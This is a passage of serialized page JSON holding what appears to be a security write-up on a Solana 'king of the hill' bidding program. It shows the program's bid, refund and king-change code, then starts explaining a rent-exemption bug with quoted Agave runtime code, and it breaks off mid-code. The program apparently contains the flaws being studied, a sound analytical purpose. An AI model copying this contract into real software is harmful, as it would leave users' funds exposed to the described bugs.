change_king",{"type":25,"tag":216,"props":75611,"children":75612},{"style":6958},[75613],{"type":31,"value":1844},{"type":25,"tag":216,"props":75615,"children":75616},{"style":6941},[75617],{"type":31,"value":24234},{"type":25,"tag":216,"props":75619,"children":75620},{"style":6947},[75621],{"type":31,"value":1466},{"type":25,"tag":216,"props":75623,"children":75624},{"style":7369},[75625],{"type":31,"value":24243},{"type":25,"tag":216,"props":75627,"children":75628},{"style":6958},[75629],{"type":31,"value":9751},{"type":25,"tag":216,"props":75631,"children":75632},{"style":7369},[75633],{"type":31,"value":75634},"ChangeKing",{"type":25,"tag":216,"props":75636,"children":75637},{"style":6958},[75638],{"type":31,"value":10576},{"type":25,"tag":216,"props":75640,"children":75641},{"style":6941},[75642],{"type":31,"value":75643},"bid_amount",{"type":25,"tag":216,"props":75645,"children":75646},{"style":6947},[75647],{"type":31,"value":1466},{"type":25,"tag":216,"props":75649,"children":75650},{"style":7369},[75651],{"type":31,"value":9805},{"type":25,"tag":216,"props":75653,"children":75654},{"style":6958},[75655],{"type":31,"value":7030},{"type":25,"tag":216,"props":75657,"children":75658},{"style":6947},[75659],{"type":31,"value":17708},{"type":25,"tag":216,"props":75661,"children":75662},{"style":7369},[75663],{"type":31,"value":17713},{"type":25,"tag":216,"props":75665,"children":75666},{"style":6958},[75667],{"type":31,"value":24285},{"type":25,"tag":216,"props":75669,"children":75670},{"class":6916,"line":7724},[75671],{"type":25,"tag":216,"props":75672,"children":75673},{"style":6921},[75674],{"type":31,"value":75675},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":25,"tag":216,"props":75677,"children":75678},{"class":6916,"line":7754},[75679,75683,75687,75691,75695,75699,75703,75707,75711,75716,75720,75725,75729,75733],{"type":25,"tag":216,"props":75680,"children":75681},{"style":7041},[75682],{"type":31,"value":68410},{"type":25,"tag":216,"props":75684,"children":75685},{"style":6958},[75686],{"type":31,"value":1844},{"type":25,"tag":216,"props":75688,"children":75689},{"style":6941},[75690],{"type":31,"value":75643},{"type":25,"tag":216,"props":75692,"children":75693},{"style":6947},[75694],{"type":31,"value":12248},{"type":25,"tag":216,"props":75696,"children":75697},{"style":6941},[75698],{"type":31,"value":29795},{"type":25,"tag":216,"props":75700,"children":75701},{"style":6947},[75702],{"type":31,"value":179},{"type":25,"tag":216,"props":75704,"children":75705},{"style":6958},[75706],{"type":31,"value":18626},{"type":25,"tag":216,"props":75708,"children":75709},{"style":6947},[75710],{"type":31,"value":179},{"type":25,"tag":216,"props":75712,"children":75713},{"style":6958},[75714],{"type":31,"value":75715},"throne",{"type":25,"tag":216,"props":75717,"children":75718},{"style":6947},[75719],{"type":31,"value":179},{"type":25,"tag":216,"props":75721,"children":75722},{"style":6958},[75723],{"type":31,"value":75724},"last_bid_amount ",{"type":25,"tag":216,"props":75726,"children":75727},{"style":6947},[75728],{"type":31,"value":8513},{"type":25,"tag":216,"props":75730,"children":75731},{"style":6983},[75732],{"type":31,"value":11880},{"type":25,"tag":216,"props":75734,"children":75735},{"style":6958},[75736],{"type":31,"value":7791},{"type":25,"tag":216,"props":75738,"children":75739},{"class":6916,"line":7762},[75740,75745],{"type":25,"tag":216,"props":75741,"children":75742},{"style":7041},[75743],{"type":31,"value":75744},"        transfer_from_signer",{"type":25,"tag":216,"props":75746,"children":75747},{"style":6958},[75748],{"type":31,"value":7414},{"type":25,"tag":216,"props":75750,"children":75751},{"class":6916,"line":7794},[75752,75756,75760,75764,75768,75772],{"type":25,"tag":216,"props":75753,"children":75754},{"style":6947},[75755],{"type":31,"value":11630},{"type":25,"tag":216,"props":75757,"children":75758},{"style":6941},[75759],{"type":31,"value":24234},{"type":25,"tag":216,"props":75761,"children":75762},{"style":6947},[75763],{"type":31,"value":179},{"type":25,"tag":216,"props":75765,"children":75766},{"style":6958},[75767],{"type":31,"value":18626},{"type":25,"tag":216,"props":75769,"children":75770},{"style":6947},[75771],{"type":31,"value":179},{"type":25,"tag":216,"props":75773,"children":75774},{"style":6958},[75775],{"type":31,"value":75776},"payer,\n",{"type":25,"tag":216,"props":75778,"children":75779},{"class":6916,"line":7802},[75780,75784,75788,75792,75796,75800,75804,75808,75813],{"type":25,"tag":216,"props":75781,"children":75782},{"style":6947},[75783],{"type":31,"value":11630},{"type":25,"tag":216,"props":75785,"children":75786},{"style":6941},[75787],{"type":31,"value":24234},{"type":25,"tag":216,"props":75789,"children":75790},{"style":6947},[75791],{"type":31,"value":179},{"type":25,"tag":216,"props":75793,"children":75794},{"style":6958},[75795],{"type":31,"value":18626},{"type":25,"tag":216,"props":75797,"children":75798},{"style":6947},[75799],{"type":31,"value":179},{"type":25,"tag":216,"props":75801,"children":75802},{"style":6958},[75803],{"type":31,"value":75715},{"type":25,"tag":216,"props":75805,"children":75806},{"style":6947},[75807],{"type":31,"value":179},{"type":25,"tag":216,"props":75809,"children":75810},{"style":7041},[75811],{"type":31,"value":75812},"to_account_info",{"type":25,"tag":216,"props":75814,"children":75815},{"style":6958},[75816],{"type":31,"value":7442},{"type":25,"tag":216,"props":75818,"children":75819},{"class":6916,"line":7862},[75820,75825],{"type":25,"tag":216,"props":75821,"children":75822},{"style":6941},[75823],{"type":31,"value":75824},"            bid_amount",{"type":25,"tag":216,"props":75826,"children":75827},{"style":6958},[75828],{"type":31,"value":7459},{"type":25,"tag":216,"props":75830,"children":75831},{"class":6916,"line":12995},[75832,75837,75841],{"type":25,"tag":216,"props":75833,"children":75834},{"style":6958},[75835],{"type":31,"value":75836},"        )",{"type":25,"tag":216,"props":75838,"children":75839},{"style":6947},[75840],{"type":31,"value":605},{"type":25,"tag":216,"props":75842,"children":75843},{"style":6958},[75844],{"type":31,"value":6961},{"type":25,"tag":216,"props":75846,"children":75847},{"class":6916,"line":13013},[75848],{"type":25,"tag":216,"props":75849,"children":75850},{"emptyLinePlaceholder":16},[75851],{"type":31,"value":7636},{"type":25,"tag":216,"props":75853,"children":75854},{"class":6916,"line":13058},[75855],{"type":25,"tag":216,"props":75856,"children":75857},{"style":6921},[75858],{"type":31,"value":75859},"        // Reimburse 95% of the last bid to the old king\n",{"type":25,"tag":216,"props":75861,"children":75862},{"class":6916,"line":13164},[75863,75867,75872,75876,75880,75884,75888,75892,75896,75900,75904,75908,75912,75917,75921,75925,75930],{"type":25,"tag":216,"props":75864,"children":75865},{"style":6930},[75866],{"type":31,"value":7005},{"type":25,"tag":216,"props":75868,"children":75869},{"style":6941},[75870],{"type":31,"value":75871}," to_reimburse",{"type":25,"tag":216,"props":75873,"children":75874},{"style":6947},[75875],{"type":31,"value":6950},{"type":25,"tag":216,"props":75877,"children":75878},{"style":6958},[75879],{"type":31,"value":7010},{"type":25,"tag":216,"props":75881,"children":75882},{"style":6941},[75883],{"type":31,"value":24234},{"type":25,"tag":216,"props":75885,"children":75886},{"style":6947},[75887],{"type":31,"value":179},{"type":25,"tag":216,"props":75889,"children":75890},{"style":6958},[75891],{"type":31,"value":18626},{"type":25,"tag":216,"props":75893,"children":75894},{"style":6947},[75895],{"type":31,"value":179},{"type":25,"tag":216,"props":75897,"children":75898},{"style":6958},[75899],{"type":31,"value":75715},{"type":25,"tag":216,"props":75901,"children":75902},{"style":6947},[75903],{"type":31,"value":179},{"type":25,"tag":216,"props":75905,"children":75906},{"style":6958},[75907],{"type":31,"value":75724},{"type":25,"tag":216,"props":75909,"children":75910},{"style":6947},[75911],{"type":31,"value":8513},{"type":25,"tag":216,"props":75913,"children":75914},{"style":6983},[75915],{"type":31,"value":75916}," 9500",{"type":25,"tag":216,"props":75918,"children":75919},{"style":6958},[75920],{"type":31,"value":7030},{"type":25,"tag":216,"props":75922,"children":75923},{"style":6947},[75924],{"type":31,"value":5749},{"type":25,"tag":216,"props":75926,"children":75927},{"style":6983},[75928],{"type":31,"value":75929}," 10000",{"type":25,"tag":216,"props":75931,"children":75932},{"style":6958},[75933],{"type":31,"value":6961},{"type":25,"tag":216,"props":75935,"children":75936},{"class":6916,"line":27449},[75937,75942],{"type":25,"tag":216,"props":75938,"children":75939},{"style":7041},[75940],{"type":31,"value":75941},"        transfer_from_pda",{"type":25,"tag":216,"props":75943,"children":75944},{"style":6958},[75945],{"type":31,"value":7414},{"type":25,"tag":216,"props":75947,"children":75948},{"class":6916,"line":27484},[75949,75953,75957,75961,75965,75969,75973,75977,75981],{"type":25,"tag":216,"props":75950,"children":75951},{"style":6947},[75952],{"type":31,"value":11630},{"type":25,"tag":216,"props":75954,"children":75955},{"style":6941},[75956],{"type":31,"value":24234},{"type":25,"tag":216,"props":75958,"children":75959},{"style":6947},[75960],{"type":31,"value":179},{"type":25,"tag":216,"props":75962,"children":75963},{"style":6958},[75964],{"type":31,"value":18626},{"type":25,"tag":216,"props":75966,"children":75967},{"style":6947},[75968],{"type":31,"value":179},{"type":25,"tag":216,"props":75970,"children":75971},{"style":6958},[75972],{"type":31,"value":75715},{"type":25,"tag":216,"props":75974,"children":75975},{"style":6947},[75976],{"type":31,"value":179},{"type":25,"tag":216,"props":75978,"children":75979},{"style":7041},[75980],{"type":31,"value":75812},{"type":25,"tag":216,"props":75982,"children":75983},{"style":6958},[75984],{"type":31,"value":7442},{"type":25,"tag":216,"props":75986,"children":75987},{"class":6916,"line":27492},[75988,75992,75996,76000,76004,76008],{"type":25,"tag":216,"props":75989,"children":75990},{"style":6947},[75991],{"type":31,"value":11630},{"type":25,"tag":216,"props":75993,"children":75994},{"style":6941},[75995],{"type":31,"value":24234},{"type":25,"tag":216,"props":75997,"children":75998},{"style":6947},[75999],{"type":31,"value":179},{"type":25,"tag":216,"props":76001,"children":76002},{"style":6958},[76003],{"type":31,"value":18626},{"type":25,"tag":216,"props":76005,"children":76006},{"style":6947},[76007],{"type":31,"value":179},{"type":25,"tag":216,"props":76009,"children":76010},{"style":6958},[76011],{"type":31,"value":76012},"old_king,\n",{"type":25,"tag":216,"props":76014,"children":76015},{"class":6916,"line":27500},[76016,76021],{"type":25,"tag":216,"props":76017,"children":76018},{"style":6941},[76019],{"type":31,"value":76020},"            to_reimburse",{"type":25,"tag":216,"props":76022,"children":76023},{"style":6958},[76024],{"type":31,"value":7459},{"type":25,"tag":216,"props":76026,"children":76027},{"class":6916,"line":27509},[76028,76032,76036],{"type":25,"tag":216,"props":76029,"children":76030},{"style":6958},[76031],{"type":31,"value":75836},{"type":25,"tag":216,"props":76033,"children":76034},{"style":6947},[76035],{"type":31,"value":605},{"type":25,"tag":216,"props":76037,"children":76038},{"style":6958},[76039],{"type":31,"value":6961},{"type":25,"tag":216,"props":76041,"children":76042},{"class":6916,"line":27551},[76043],{"type":25,"tag":216,"props":76044,"children":76045},{"emptyLinePlaceholder":16},[76046],{"type":31,"value":7636},{"type":25,"tag":216,"props":76048,"children":76049},{"class":6916,"line":27584},[76050],{"type":25,"tag":216,"props":76051,"children":76052},{"style":6921},[76053],{"type":31,"value":76054},"        // Set new king\n",{"type":25,"tag":216,"props":76056,"children":76057},{"class":6916,"line":27592},[76058,76062,76066,76070,76074,76078,76082,76087,76091,76095,76099,76103,76107,76112,76116,76121],{"type":25,"tag":216,"props":76059,"children":76060},{"style":6941},[76061],{"type":31,"value":30138},{"type":25,"tag":216,"props":76063,"children":76064},{"style":6947},[76065],{"type":31,"value":179},{"type":25,"tag":216,"props":76067,"children":76068},{"style":6958},[76069],{"type":31,"value":18626},{"type":25,"tag":216,"props":76071,"children":76072},{"style":6947},[76073],{"type":31,"value":179},{"type":25,"tag":216,"props":76075,"children":76076},{"style":6958},[76077],{"type":31,"value":75715},{"type":25,"tag":216,"props":76079,"children":76080},{"style":6947},[76081],{"type":31,"value":179},{"type":25,"tag":216,"props":76083,"children":76084},{"style":6958},[76085],{"type":31,"value":76086},"king ",{"type":25,"tag":216,"props":76088,"children":76089},{"style":6947},[76090],{"type":31,"value":266},{"type":25,"tag":216,"props":76092,"children":76093},{"style":6941},[76094],{"type":31,"value":29795},{"type":25,"tag":216,"props":76096,"children":76097},{"style":6947},[76098],{"type":31,"value":179},{"type":25,"tag":216,"props":76100,"children":76101},{"style":6958},[76102],{"type":31,"value":18626},{"type":25,"tag":216,"props":76104,"children":76105},{"style":6947},[76106],{"type":31,"value":179},{"type":25,"tag":216,"props":76108,"children":76109},{"style":6958},[76110],{"type":31,"value":76111},"new_king",{"type":25,"tag":216,"props":76113,"children":76114},{"style":6947},[76115],{"type":31,"value":179},{"type":25,"tag":216,"props":76117,"children":76118},{"style":7041},[76119],{"type":31,"value":76120},"key",{"type":25,"tag":216,"props":76122,"children":76123},{"style":6958},[76124],{"type":31,"value":7627},{"type":25,"tag":216,"props":76126,"children":76127},{"class":6916,"line":27600},[76128,76132,76136,76140,76144,76148,76152,76156,76160,76165],{"type":25,"tag":216,"props":76129,"children":76130},{"style":6941},[76131],{"type":31,"value":30138},{"type":25,"tag":216,"props":76133,"children":76134},{"style":6947},[76135],{"type":31,"value":179},{"type":25,"tag":216,"props":76137,"children":76138},{"style":6958},[76139],{"type":31,"value":18626},{"type":25,"tag":216,"props":76141,"children":76142},{"style":6947},[76143],{"type":31,"value":179},{"type":25,"tag":216,"props":76145,"children":76146},{"style":6958},[76147],{"type":31,"value":75715},{"type":25,"tag":216,"props":76149,"children":76150},{"style":6947},[76151],{"type":31,"value":179},{"type":25,"tag":216,"props":76153,"children":76154},{"style":6958},[76155],{"type":31,"value":75724},{"type":25,"tag":216,"props":76157,"children":76158},{"style":6947},[76159],{"type":31,"value":266},{"type":25,"tag":216,"props":76161,"children":76162},{"style":6941},[76163],{"type":31,"value":76164}," bid_amount",{"type":25,"tag":216,"props":76166,"children":76167},{"style":6958},[76168],{"type":31,"value":6961},{"type":25,"tag":216,"props":76170,"children":76171},{"class":6916,"line":27609},[76172,76176,76180,76184,76188,76192,76196,76201,76205,76210,76214,76218,76222,76226,76231,76235,76239],{"type":25,"tag":216,"props":76173,"children":76174},{"style":6941},[76175],{"type":31,"value":30138},{"type":25,"tag":216,"props":76177,"children":76178},{"style":6947},[76179],{"type":31,"value":179},{"type":25,"tag":216,"props":76181,"children":76182},{"style":6958},[76183],{"type":31,"value":18626},{"type":25,"tag":216,"props":76185,"children":76186},{"style":6947},[76187],{"type":31,"value":179},{"type":25,"tag":216,"props":76189,"children":76190},{"style":6958},[76191],{"type":31,"value":75715},{"type":25,"tag":216,"props":76193,"children":76194},{"style":6947},[76195],{"type":31,"value":179},{"type":25,"tag":216,"props":76197,"children":76198},{"style":6958},[76199],{"type":31,"value":76200},"last_time ",{"type":25,"tag":216,"props":76202,"children":76203},{"style":6947},[76204],{"type":31,"value":266},{"type":25,"tag":216,"props":76206,"children":76207},{"style":7369},[76208],{"type":31,"value":76209}," Clock",{"type":25,"tag":216,"props":76211,"children":76212},{"style":6947},[76213],{"type":31,"value":7432},{"type":25,"tag":216,"props":76215,"children":76216},{"style":7041},[76217],{"type":31,"value":20304},{"type":25,"tag":216,"props":76219,"children":76220},{"style":6958},[76221],{"type":31,"value":17830},{"type":25,"tag":216,"props":76223,"children":76224},{"style":6947},[76225],{"type":31,"value":7075},{"type":25,"tag":216,"props":76227,"children":76228},{"style":6958},[76229],{"type":31,"value":76230},"unix_timestamp ",{"type":25,"tag":216,"props":76232,"children":76233},{"style":6930},[76234],{"type":31,"value":12789},{"type":25,"tag":216,"props":76236,"children":76237},{"style":7369},[76238],{"type":31,"value":9805},{"type":25,"tag":216,"props":76240,"children":76241},{"style":6958},[76242],{"type":31,"value":6961},{"type":25,"tag":216,"props":76244,"children":76245},{"class":6916,"line":27685},[76246],{"type":25,"tag":216,"props":76247,"children":76248},{"emptyLinePlaceholder":16},[76249],{"type":31,"value":7636},{"type":25,"tag":216,"props":76251,"children":76252},{"class":6916,"line":27718},[76253,76257],{"type":25,"tag":216,"props":76254,"children":76255},{"style":7369},[76256],{"type":31,"value":18763},{"type":25,"tag":216,"props":76258,"children":76259},{"style":6958},[76260],{"type":31,"value":18289},{"type":25,"tag":216,"props":76262,"children":76263},{"class":6916,"line":27726},[76264],{"type":25,"tag":216,"props":76265,"children":76266},{"style":6958},[76267],{"type":31,"value":7305},{"type":25,"tag":216,"props":76269,"children":76270},{"class":6916,"line":27734},[76271],{"type":25,"tag":216,"props":76272,"children":76273},{"style":6958},[76274],{"type":31,"value":7868},{"type":25,"tag":38,"props":76276,"children":76277},{},[76278],{"type":31,"value":76279},"Note this comment:",{"type":25,"tag":34,"props":76281,"children":76282},{},[76283],{"type":25,"tag":38,"props":76284,"children":76285},{},[76286],{"type":31,"value":76287},"any writable account is allowed as a new king.",{"type":25,"tag":38,"props":76289,"children":76290},{},[76291],{"type":31,"value":76292},"...Is our assumption correct?",{"type":25,"tag":26,"props":76294,"children":76296},{"id":76295},"the-bugs-lurking-beneath",[76297],{"type":31,"value":76298},"The Bugs Lurking Beneath",{"type":25,"tag":607,"props":76300,"children":76302},{"id":76301},"bug-1-the-rent-exemption-trap",[76303],{"type":31,"value":76304},"Bug 1: The Rent-Exemption Trap",{"type":25,"tag":38,"props":76306,"children":76307},{},[76308,76310,76315],{"type":31,"value":76309},"On Solana, all accounts must maintain a ",{"type":25,"tag":9267,"props":76311,"children":76312},{},[76313],{"type":31,"value":76314},"minimum balance",{"type":31,"value":76316}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":25,"tag":2033,"props":76318,"children":76319},{},[76320,76335],{"type":25,"tag":2037,"props":76321,"children":76322},{},[76323,76328,76329],{"type":25,"tag":9267,"props":76324,"children":76325},{},[76326],{"type":31,"value":76327},"Uninitialized",{"type":31,"value":19282},{"type":25,"tag":82,"props":76330,"children":76332},{"className":76331},[],[76333],{"type":31,"value":76334},"lamports = 0",{"type":25,"tag":2037,"props":76336,"children":76337},{},[76338,76343,76344],{"type":25,"tag":9267,"props":76339,"children":76340},{},[76341],{"type":31,"value":76342},"Initialized",{"type":31,"value":19282},{"type":25,"tag":82,"props":76345,"children":76347},{"className":76346},[],[76348],{"type":31,"value":76349},"lamports >= rent-exempt threshold",{"type":25,"tag":38,"props":76351,"children":76352},{},[76353,76355,76360],{"type":31,"value":76354},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":25,"tag":9267,"props":76356,"children":76357},{},[76358],{"type":31,"value":76359},"account metadata",{"type":31,"value":76361}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":25,"tag":38,"props":76363,"children":76364},{},[76365,76367,76373],{"type":31,"value":76366},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":25,"tag":82,"props":76368,"children":76370},{"className":76369},[],[76371],{"type":31,"value":76372},"data.len() == 0",{"type":31,"value":76374}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":25,"tag":38,"props":76376,"children":76377},{},[76378,76380,76386],{"type":31,"value":76379},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":25,"tag":162,"props":76381,"children":76384},{"href":76382,"rel":76383},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[166],[76385],{"type":31,"value":51547},{"type":31,"value":179},{"type":25,"tag":206,"props":76388,"children":76390},{"className":6909,"code":76389,"language":6908,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[76391],{"type":25,"tag":82,"props":76392,"children":76393},{"__ignoreMap":7},[76394,76478,76495,76541,76561,76582,76603,76618,76635,76679,76698,76719,76740,76756,76764,76797,76804,76811,76818,76825],{"type":25,"tag":216,"props":76395,"children":76396},{"class":6916,"line":6917},[76397,76402,76407,76411,76415,76419,76423,76428,76432,76436,76441,76445,76450,76454,76458,76462,76466,76470,76474],{"type":25,"tag":216,"props":76398,"children":76399},{"style":6930},[76400],{"type":31,"value":76401},"    fn",{"type":25,"tag":216,"props":76403,"children":76404},{"style":7041},[76405],{"type":31,"value":76406}," transition_allowed",{"type":25,"tag":216,"props":76408,"children":76409},{"style":6958},[76410],{"type":31,"value":1844},{"type":25,"tag":216,"props":76412,"children":76413},{"style":6947},[76414],{"type":31,"value":7053},{"type":25,"tag":216,"props":76416,"children":76417},{"style":6930},[76418],{"type":31,"value":17664},{"type":25,"tag":216,"props":76420,"children":76421},{"style":6958},[76422],{"type":31,"value":7020},{"type":25,"tag":216,"props":76424,"children":76425},{"style":6941},[76426],{"type":31,"value":76427},"pre_rent_state",{"type":25,"tag":216,"props":76429,"children":76430},{"style":6947},[76431],{"type":31,"value":1466},{"type":25,"tag":216,"props":76433,"children":76434},{"style":6947},[76435],{"type":31,"value":11087},{"type":25,"tag":216,"props":76437,"children":76438},{"style":7369},[76439],{"type":31,"value":76440},"RentState",{"type":25,"tag":216,"props":76442,"children":76443},{"style":6958},[76444],{"type":31,"value":7020},{"type":25,"tag":216,"props":76446,"children":76447},{"style":6941},[76448],{"type":31,"value":76449},"post_rent_state",{"type":25,"tag":216,"props":76451,"children":76452},{"style":6947},[76453],{"type":31,"value":1466},{"type":25,"tag":216,"props":76455,"children":76456},{"style":6947},[76457],{"type":31,"value":11087},{"type":25,"tag":216,"props":76459,"children":76460},{"style":7369},[76461],{"type":31,"value":76440},{"type":25,"tag":216,"props":76463,"children":76464},{"style":6958},[76465],{"type":31,"value":7030},{"type":25,"tag":216,"props":76467,"children":76468},{"style":6947},[76469],{"type":31,"value":17708},{"type":25,"tag":216,"props":76471,"children":76472},{"style":7369},[76473],{"type":31,"value":16000},{"type":25,"tag":216,"props":76475,"children":76476},{"style":6958},[76477],{"type":31,"value":7235},{"type":25,"tag":216,"props":76479,"children":76480},{"class":6916,"line":6763},[76481,76486,76491],{"type":25,"tag":216,"props":76482,"children":76483},{"style":6967},[76484],{"type":31,"value":76485},"        match",{"type":25,"tag":216,"props":76487,"children":76488},{"style":6941},[76489],{"type":31,"value":76490}," post_rent_state",{"type":25,"tag":216,"props":76492,"children":76493},{"style":6958},[76494],{"type":31,"value":7235},{"type":25,"tag":216,"props":76496,"children":76497},{"class":6916,"line":6772},[76498,76503,76507,76511,76515,76520,76524,76529,76533,76537],{"type":25,"tag":216,"props":76499,"children":76500},{"style":7369},[76501],{"type":31,"value":76502},"            RentState",{"type":25,"tag":216,"props":76504,"children":76505},{"style":6947},[76506],{"type":31,"value":7432},{"type":25,"tag":216,"props":76508,"children":76509},{"style":7369},[76510],{"type":31,"value":76327},{"type":25,"tag":216,"props":76512,"children":76513},{"style":6947},[76514],{"type":31,"value":8212},{"type":25,"tag":216,"props":76516,"children":76517},{"style":7369},[76518],{"type":31,"value":76519}," RentState",{"type":25,"tag":216,"props":76521,"children":76522},{"style":6947},[76523],{"type":31,"value":7432},{"type":25,"tag":216,"props":76525,"children":76526},{"style":7369},[76527],{"type":31,"value":76528},"RentExempt",{"type":25,"tag":216,"props":76530,"children":76531},{"style":6947},[76532],{"type":31,"value":31705},{"type":25,"tag":216,"props":76534,"children":76535},{"style":6930},[76536],{"type":31,"value":16419},{"type":25,"tag":216,"props":76538,"children":76539},{"style":6958},[76540],{"type":31,"value":7459},{"type":25,"tag":216,"props":76542,"children":76543},{"class":6916,"line":6999},[76544,76548,76552,76557],{"type":25,"tag":216,"props":76545,"children":76546},{"style":7369},[76547],{"type":31,"value":76502},{"type":25,"tag":216,"props":76549,"children":76550},{"style":6947},[76551],{"type":31,"value":7432},{"type":25,"tag":216,"props":76553,"children":76554},{"style":7369},[76555],{"type":31,"value":76556},"RentPaying",{"type":25,"tag":216,"props":76558,"children":76559},{"style":6958},[76560],{"type":31,"value":7235},{"type":25,"tag":216,"props":76562,"children":76563},{"class":6916,"line":7104},[76564,76569,76573,76578],{"type":25,"tag":216,"props":76565,"children":76566},{"style":6941},[76567],{"type":31,"value":76568},"                data_size",{"type":25,"tag":216,"props":76570,"children":76571},{"style":6947},[76572],{"type":31,"value":1466},{"type":25,"tag":216,"props":76574,"children":76575},{"style":6941},[76576],{"type":31,"value":76577}," post_data_size",{"type":25,"tag":216,"props":76579,"children":76580},{"style":6958},[76581],{"type":31,"value":7459},{"type":25,"tag":216,"props":76583,"children":76584},{"class":6916,"line":7210},[76585,76590,76594,76599],{"type":25,"tag":216,"props":76586,"children":76587},{"style":6941},[76588],{"type":31,"value":76589},"                lamports",{"type":25,"tag":216,"props":76591,"children":76592},{"style":6947},[76593],{"type":31,"value":1466},{"type":25,"tag":216,"props":76595,"children":76596},{"style":6941},[76597],{"type":31,"value":76598}," post_lamports",{"type":25,"tag":216,"props":76600,"children":76601},{"style":6958},[76602],{"type":31,"value":7459},{"type":25,"tag":216,"props":76604,"children":76605},{"class":6916,"line":7238},[76606,76610,76614],{"type":25,"tag":216,"props":76607,"children":76608},{"style":6958},[76609],{"type":31,"value":74558},{"type":25,"tag":216,"props":76611,"children":76612},{"style":6947},[76613],{"type":31,"value":18773},{"type":25,"tag":216,"props":76615,"children":76616},{"style":6958},[76617],{"type":31,"value":7235},{"type":25,"tag":216,"props":76619,"children":76620},{"class":6916,"line":7251},[76621,76626,76631],{"type":25,"tag":216,"props":76622,"children":76623},{"style":6967},[76624],{"type":31,"value":76625},"                match",{"type":25,"tag":216,"props":76627,"children":76628},{"style":6941},[76629],{"type":31,"value":76630}," pre_rent_state",{"type":25,"tag":216,"props":76632,"children":76633},{"style":6958},[76634],{"type":31,"value":7235},{"type":25,"tag":216,"props":76636,"children":76637},{"class":6916,"line":7269},[76638,76643,76647,76651,76655,76659,76663,76667,76671,76675],{"type":25,"tag":216,"props":76639,"children":76640},{"style":7369},[76641],{"type":31,"value":76642},"                    RentState",{"type":25,"tag":216,"props":76644,"children":76645},{"style":6947},[76646],{"type":31,"value":7432},{"type":25,"tag":216,"props":76648,"children":76649},{"style":7369},[76650],{"type":31,"value":76327},{"type":25,"tag":216,"props":76652,"children":76653},{"style":6947},[76654],{"type":31,"value":8212},{"type":25,"tag":216,"props":76656,"children":76657},{"style":7369},[76658],{"type":31,"value":76519},{"type":25,"tag":216,"props":76660,"children":76661},{"style":6947},[76662],{"type":31,"value":7432},{"type":25,"tag":216,"props":76664,"children":76665},{"style":7369},[76666],{"type":31,"value":76528},{"type":25,"tag":216,"props":76668,"children":76669},{"style":6947},[76670],{"type":31,"value":31705},{"type":25,"tag":216,"props":76672,"children":76673},{"style":6930},[76674],{"type":31,"value":13006},{"type":25,"tag":216,"props":76676,"children":76677},{"style":6958},[76678],{"type":31,"value":7459},{"type":25,"tag":216,"props":76680,"children":76681},{"class":6916,"line":7290},[76682,76686,76690,76694],{"type":25,"tag":216,"props":76683,"children":76684},{"style":7369},[76685],{"type":31,"value":76642},{"type":25,"tag":216,"props":76687,"children":76688},{"style":6947},[76689],{"type":31,"value":7432},{"type":25,"tag":216,"props":76691,"children":76692},{"style":7369},[76693],{"type":31,"value":76556},{"type":25,"tag":216,"props":76695,"children":76696},{"style":6958},[76697],{"type":31,"value":7235},{"type":25,"tag":216,"props":76699,"children":76700},{"class":6916,"line":7299},[76701,76706,76710,76715],{"type":25,"tag":216,"props":76702,"children":76703},{"style":6941},[76704],{"type":31,"value":76705},"                        data_size",{"type":25,"tag":216,"props":76707,"children":76708},{"style":6947},[76709],{"type":31,"value":1466},{"type":25,"tag":216,"props":76711,"children":76712},{"style":6941},[76713],{"type":31,"value":76714}," pre_data_size",{"type":25,"tag":216,"props":76716,"children":76717},{"style":6958},[76718],{"type":31,"value":7459},{"type":25,"tag":216,"props":76720,"children":76721},{"class":6916,"line":7551},[76722,76727,76731,76736],{"type":25,"tag":216,"props":76723,"children":76724},{"style":6941},[76725],{"type":31,"value":76726},"                        lamports",{"type":25,"tag":216,"props":76728,"children":76729},{"style":6947},[76730],{"type":31,"value":1466},{"type":25,"tag":216,"props":76732,"children":76733},{"style":6941},[76734],{"type":31,"value":76735}," pre_lamports",{"type":25,"tag":216,"props":76737,"children":76738},{"style":6958},[76739],{"type":31,"value":7459},{"type":25,"tag":216,"props":76741,"children":76742},{"class":6916,"line":7568},[76743,76748,76752],{"type":25,"tag":216,"props":76744,"children":76745},{"style":6958},[76746],{"type":31,"value":76747},"                    } ",{"type":25,"tag":216,"props":76749,"children":76750},{"style":6947},[76751],{"type":31,"value":18773},{"type":25,"tag":216,"props":76753,"children":76754},{"style":6958},[76755],{"type":31,"value":7235},{"type":25,"tag":216,"props":76757,"children":76758},{"class":6916,"line":7585},[76759],{"type":25,"tag":216,"props":76760,"children":76761},{"style":6921},[76762],{"type":31,"value":76763},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":25,"tag":216,"props":76765,"children":76766},{"class":6916,"line":7598},[76767,76772,76776,76780,76784,76788,76792],{"type":25,"tag":216,"props":76768,"children":76769},{"style":6941},[76770],{"type":31,"value":76771},"                        